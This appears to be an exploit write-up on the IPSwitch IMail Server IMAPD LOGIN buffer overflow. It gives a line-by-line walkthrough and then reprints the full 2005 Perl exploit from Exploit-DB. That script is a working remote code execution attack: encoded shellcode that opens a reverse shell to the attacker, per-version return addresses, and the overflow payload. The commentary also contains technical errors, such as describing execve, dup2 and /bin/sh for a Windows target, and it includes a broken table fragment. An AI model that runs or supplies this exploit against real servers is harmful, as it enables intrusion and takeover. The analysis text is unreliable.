Exploiting IPSwitch IMail Server 8.15 IMAPD: A Deep Dive into Remote Code Execution

Exploiting IPSwitch IMail Server 8.15 IMAPD: A Deep Dive into Remote Code Execution
What this paper is
This paper details a remote code execution vulnerability in the IPSwitch IMail Server, specifically affecting its IMAPD (Internet Message Access Protocol Daemon) service. The exploit, written by "kingcope" and published in 2005, allows an attacker to gain arbitrary code execution on a vulnerable server by sending a specially crafted login request. The exploit targets a buffer overflow vulnerability within the IMAPD service.
Simple technical breakdown
The core of the exploit lies in overwhelming a buffer within the IMAPD service when a user attempts to log in. The IMAPD service, when processing the LOGIN command, doesn't properly validate the length of the username provided. By sending an extremely long username that contains malicious code (shellcode) and carefully crafted data to control the program's execution flow, an attacker can overwrite critical memory areas. This overwrite redirects the program's execution to the injected shellcode, effectively allowing the attacker to run commands on the server with the privileges of the IMAPD process.
The exploit uses a technique called "return-to-libc" or similar control flow hijacking to redirect execution. It also includes a payload that attempts to establish a reverse shell connection back to the attacker's machine, providing interactive command access.
Complete code and payload walkthrough
The provided Perl script orchestrates the attack. Let's break down its components:
Perl Script Structure
use IO::Socket;: This line imports the necessary Perl module for network socket operations, allowing the script to connect to the target server.$cbsc = "...": This is a long string of hexadecimal bytes representing the shellcode. This shellcode is the actual malicious code that will be executed on the target system if the exploit is successful. It's designed to set up a reverse shell.$numtargets = 12;: Defines the number of different target versions of the IMail server the script is designed to handle.@targets = (...): This array contains a list of different IPSwitch IMail Server versions and their corresponding "return addresses".- Each element is a sub-array:
["Version String", "Return Address (hex)", "Offset Indicator (0 or 1)"]. - The "Return Address" is a memory address that the exploit tries to overwrite and redirect execution to. The specific address varies depending on the IMail server version.
- The "Offset Indicator" (
0or1) likely signifies a difference in the buffer size or offset calculation needed for that specific version.
- Each element is a sub-array:
print "IpSwitch IMAIL Server IMAPD Remote r00t Exploit by kcope VER1\n";: Prints a banner indicating the exploit's name and author.if ($#ARGV ne 3) { ... }: This block checks if the correct number of command-line arguments is provided.- It expects four arguments:
target_ip,target_type_index,your_ip,your_port. - If the arguments are incorrect, it prints a usage message and lists the available target types with their corresponding indices.
- It expects four arguments:
$tt=$ARGV[1];: Assigns the target type index from the command-line arguments to$tt.$ret = $targets[$tt][1];: Retrieves the specific return address for the chosen target type from the@targetsarray.$cbip=$ARGV[2];: Gets the attacker's IP address (for the reverse shell) from the command-line arguments.$cbport=$ARGV[3];: Gets the attacker's port (for the reverse shell) from the command-line arguments.($a1, $a2, $a3, $a4) = split(//, gethostbyname("$cbip"));: Resolves the attacker's IP address into its constituent bytes.gethostbynamereturns an IP address in network byte order.split(//, ...)splits it into individual characters (bytes).$a1 = chr(ord($a1) ^ 0xc2); ...: This section XORs each byte of the attacker's IP address with the value0xc2. This is a simple obfuscation technique or a way to encode the IP address within the shellcode. The result is stored in$a1,$a2,$a3,$a4.substr($cbsc, 111, 4, $a1 . $a2 . $a3 . $a4);: This is a crucial step. It modifies the$cbsc(shellcode) string. It replaces 4 bytes starting at offset 111 with the XORed attacker IP address bytes. This embeds the attacker's IP address into the shellcode, so when the shellcode executes, it knows where to connect back.($p1, $p2) = split(//, reverse(pack("s", $cbport)));: This section prepares the attacker's port for embedding into the shellcode.pack("s", $cbport): Packs the port number into a short integer (2 bytes).reverse(...): Reverses the byte order. This is because the shellcode likely expects the port in little-endian format, whilepack("s")might produce big-endian depending on the system.split(//, ...): Splits the 2-byte port into individual characters (bytes).
$p1 = chr(ord($p1) ^ 0xc2); $p2 = chr(ord($p2) ^ 0xc2);: Similar to the IP address, each byte of the port is XORed with0xc2.substr($cbsc, 118, 2, $p1 . $p2);: Replaces 2 bytes in the$cbscstring, starting at offset 118, with the XORed attacker port bytes. This embeds the attacker's port into the shellcode.print "[*] $ARGV[0]\n"; print "[*] ".$targets[$tt][0]."\n";: Prints information about the target IP and the specific IMail server version being targeted.$sock = IO::Socket::INET->new(...): Establishes a TCP connection to the target server's IMAPD port (143).$findsc="\x83\xc0\x04\x81\x38\x53\x45\x58\x59\x74\x02\xeb\xf3\x83\xc0\x04\xff\xe0";: This is a small piece of shellcode. Its purpose is likely to be a "NOP sled" or a small stub that helps in finding the exact location of the injected shellcode or to ensure execution continues correctly. It appears to be a sequence of instructions that might lead to a jump or a loop, potentially aligning execution. The bytes\x53\x45\x58\x59spell "SEXY", which is used as a marker.if ($targets[$tt][2] eq 0) { ... }: This block constructs the full exploit string ($a) for IMail versions where the offset indicator is0.$a = "@" . "SEXY" . $cbsc . "A" x 358 . "\xeb\x04" . $ret . "AAAA" . $findsc . "A" x 1000;"@": Likely a character to trigger a specific parsing path or to pad the initial part of the string."SEXY": A marker string.$cbsc: The modified shellcode containing the attacker's IP and port."A" x 358: A large number of 'A' characters (padding). This is the main part of the buffer overflow. The exact number (358) is crucial for overwriting the return address and other critical data on the stack."\xeb\x04": A short jump instruction (jump 4 bytes forward). This is often used to skip over a few bytes and land precisely on the return address.$ret: The target return address for the specific IMail version. This is where execution will be redirected."AAAA": Padding to ensure alignment or to fill space before the next critical part.$findsc: The small stub/NOP sled."A" x 1000: Additional padding. This might be to ensure the stack is filled sufficiently or to reach a stable execution point.
if ($targets[$tt][2] eq 1) { ... }: This block constructs the exploit string ($a) for IMail versions where the offset indicator is1.$a = "@" . "SEXY" . $cbsc . "A" x 366 . "\xeb\x04" . $ret . "AAAA" . $findsc . "A" x 1000;- This is similar to the previous block, but the padding of 'A' characters is increased to 366. This indicates that the buffer overflow vulnerability has a slightly different size or offset in these versions.
print $sock "a001 LOGIN \"" . $a . "\" password\r\n";: This is the command sent to the IMAPD server.a001: A client-generated command tag.LOGIN: The IMAP command to log in.": Starts the username string.$a: The crafted exploit string (username). This is where the overflow happens.": Ends the username string.password: A dummy password.\r\n: Carriage return and newline, terminating the command.
while(<$sock>) { print; }: This loop reads any responses from the server and prints them to the attacker's console. This is useful for observing the server's reaction, though the primary goal is code execution, not server output.
Shellcode ($cbsc) Analysis
The provided shellcode is 316 bytes long. Without a disassembler specifically for the target architecture (likely x86), a precise byte-by-byte analysis is challenging. However, based on common shellcode patterns and the context of a reverse shell exploit, we can infer its general purpose:
Initialization: The initial bytes (
\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\xC2\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF) likely set up registers, prepare for system calls, and potentially handle self-relocation or decryption. The\xEB\x10is a short jump,\x5Bpops EBX,\x4Bis DEC EBX,\x33\xC9XOR ECX, ECX,\x66\xB9\x25\x01sets CX to 0x0125. The sequence\xEB\x05\xE8\xEB\xFF\xFF\xFFis a common way to calculate the current instruction pointer's address relative to a jump.Socket Creation: The shellcode will attempt to create a network socket. This involves system calls like
socket().Connecting Back: It will then attempt to connect this socket back to the attacker's IP address and port, which were embedded into the shellcode by the Perl script. This uses system calls like
connect().Duplicating File Descriptors: After a successful connection, the shellcode typically duplicates the connected socket's file descriptor to standard input (0), standard output (1), and standard error (2). This is done using the
dup2()system call. This allows any commands executed to be sent and received over the established network connection.Executing a Shell: Finally, the shellcode will execute a command interpreter (like
/bin/shon Linux orcmd.exeon Windows, though this exploit targets a Windows server, so it would becmd.exe). This is usually achieved via theexecve()system call.Obfuscation/Encoding: The XORing with
0xc2for IP and port is a form of simple encoding. The shellcode likely has a corresponding XOR routine to decode these values before using them. The\x83\xc0\x04\x81\x38\x53\x45\x58\x59\x74\x02\xeb\xf3\x83\xc0\x04\xff\xe0string ($findsc) is also part of this. It seems to contain instructions that might be used to locate the start of the shellcode or to ensure proper execution flow after the overflow. TheSEXYstring within it is a clear indicator.
Code Fragment/Block -> Practical Purpose Mapping
| Code Fragment/Block
Original Exploit-DB Content (Verbatim)
# IpSwitch IMAIL Server IMAPD Remote r00t Exploit by kcope
# June 2005
# Confidential!
use IO::Socket;
# 316 bytes
$cbsc =
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\xC2\xE2\xFA"
."\xEB\x05\xE8\xEB\xFF\xFF\xFF"
."\x2B\x39\xC2\xC2\xC2\x9D\xA6\x63\xF2\xC2\xC2\xC2\x49\x82\xCE\x49"
."\xB2\xDE\x6F\x49\xAA\xCA\x49\x35\xA8\xC6\x9B\x2A\x59\xC2\xC2\xC2"
."\x20\x3B\xAA\xF1\xF0\xC2\xC2\xAA\xB5\xB1\xF0\x9D\x96\x3D\xD4\x49"
."\x2A\xA8\xC6\x9B\x2A\x40\xC2\xC2\xC2\x20\x3B\x43\x2E\x52\xC3\xC2"
."\xC2\x96\xAA\xC3\xC3\xC2\xC2\x3D\x94\xD2\x92\x92\x92\x92\x82\x92"
."\x82\x92\x3D\x94\xD6\x49\x1A\xAA\xBD\xC2\xC2\xC3\xAA\xC0\xC2\xC2"
."\xF7\x49\x0E\xA8\xD2\x93\x91\x3D\x94\xDA\x47\x02\xB7\x88\xAA\xA1"
."\xAF\xA6\xC2\x4B\xA4\xF2\x41\x2E\x96\x4F\xFE\xE6\xA8\xD7\x9B\x69"
."\x20\x3F\x04\x86\xE6\xD2\x86\x3C\x86\xE6\xFF\x4B\x9E\xE6\x8A\x4B"
."\x9E\xE6\x8E\x4B\x9E\xE6\x92\x4F\x86\xE6\xD2\x96\x92\x93\x93\x93"
."\xA8\xC3\x93\x93\x3D\xB4\xF2\x93\x3D\x94\xC6\x49\x0E\xA8\x3D\x3D"
."\xF3\x3D\x94\xCA\x91\x3D\x94\xDE\x3D\x94\xCE\x93\x94\x49\x87\xFE"
."\x49\x96\xEA\xBA\xC1\x17\x90\x49\xB0\xE2\xC1\x37\xF1\x0B\x8B\x83"
."\x6F\xC1\x07\xF1\x19\xCD\x7C\xD2\xF8\x14\xB6\xCA\x03\x09\xCF\xC1"
."\x18\x82\x29\x33\xF9\xDD\xB7\x25\x98\x49\x98\xE6\xC1\x1F\xA4\x49"
."\xCE\x89\x49\x98\xDE\xC1\x1F\x49\xC6\x49\xC1\x07\x69\x9C\x9B\x01"
."\x2A\xC2\x3D\x3D\x3D\x4C\x8C\xCC\x2E\xB0\x3C\x71\xD4\x6F\x1B\xC7"
."\x0C\xBC\x1A\x20\xB1\x09\x2F\x3E\xF9\x1B\xCB\x37\x6F\x2E\x3B\x68"
."\xA2\x25\xBB\x04\xBB";
$numtargets = 12;
@targets =
(
["Ipswitch IMAIL Server IMAPD 7.04", "\x5F\x2E\x01\x10", 1],
["Ipswitch IMAIL Server IMAPD 7.07", "\x3F\x34\x01\x10", 1],
["Ipswitch IMAIL Server IMAPD 7.13", "\x33\x36\x01\x10", 1],
["Ipswitch IMAIL Server IMAPD 7.15", "\x53\x36\x01\x10", 1],
["Ipswitch IMAIL Server IMAPD 8.00/8.01/8.02/8.03", "\x53\x36\x01\x10", 1],
["Ipswitch IMAIL Server IMAPD 8.04", "\x73\x36\x01\x10", 1],
["Ipswitch IMAIL Server IMAPD 8.05 NO HOTFIX", "\xB3\x36\x01\x10", 1],
["Ipswitch IMAIL Server IMAPD 8.05HF1/8.05HF2/8.05HF3", "\x03\x37\x01\x10", 1],
["Ipswitch IMAIL Server IMAPD 8.10", "\xfe\xf9\x01\x10", 0],
["Ipswitch IMAIL Server IMAPD 8.11", "\x8e\x02\x02\x10", 0],
["Ipswitch IMAIL Server IMAPD 8.12/8.13/8.14", "\x2e\x0b\x02\x10", 0],
["Ipswitch IMAIL Server IMAPD 8.15", "\x0e\x0e\x02\x10", 0]
);
print "IpSwitch IMAIL Server IMAPD Remote r00t Exploit by kcope VER1\n";
if ($#ARGV ne 3) {
print "usage: imail.pl target targettype yourip yourport\n\n";
for ($i=0; $i<$numtargets; $i++) {
print " [".$i."]...". $targets[$i][0]. "\r\n";
}
exit(0);
}
$tt=$ARGV[1];
$ret = $targets[$tt][1];
$cbip=$ARGV[2];
$cbport=$ARGV[3];
($a1, $a2, $a3, $a4) = split(//, gethostbyname("$cbip"));
$a1 = chr(ord($a1) ^ 0xc2);
$a2 = chr(ord($a2) ^ 0xc2);
$a3 = chr(ord($a3) ^ 0xc2);
$a4 = chr(ord($a4) ^ 0xc2);
substr($cbsc, 111, 4, $a1 . $a2 . $a3 . $a4);
($p1, $p2) = split(//, reverse(pack("s", $cbport)));
$p1 = chr(ord($p1) ^ 0xc2);
$p2 = chr(ord($p2) ^ 0xc2);
substr($cbsc, 118, 2, $p1 . $p2);
print "[*] $ARGV[0]\n";
print "[*] ".$targets[$tt][0]."\n";
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => '143',
Proto => 'tcp');
$findsc="\x83\xc0\x04\x81\x38\x53\x45\x58\x59\x74\x02\xeb\xf3\x83\xc0\x04\xff\xe0";
if ($targets[$tt][2] eq 0) {
$a="@" . "SEXY" . $cbsc . "A" x 358 . "\xeb\x04" . $ret . "AAAA" . $findsc . "A" x 1000; # IMAIL > 8.00
}
if ($targets[$tt][2] eq 1) {
$a="@" . "SEXY" . $cbsc . "A" x 366 . "\xeb\x04" . $ret . "AAAA" . $findsc . "A" x 1000; # IMAIL 8.00
}
print $sock "a001 LOGIN \"" . $a . "\" password\r\n";
while(<$sock>) {
print;
}
# milw0rm.com [2005-08-01]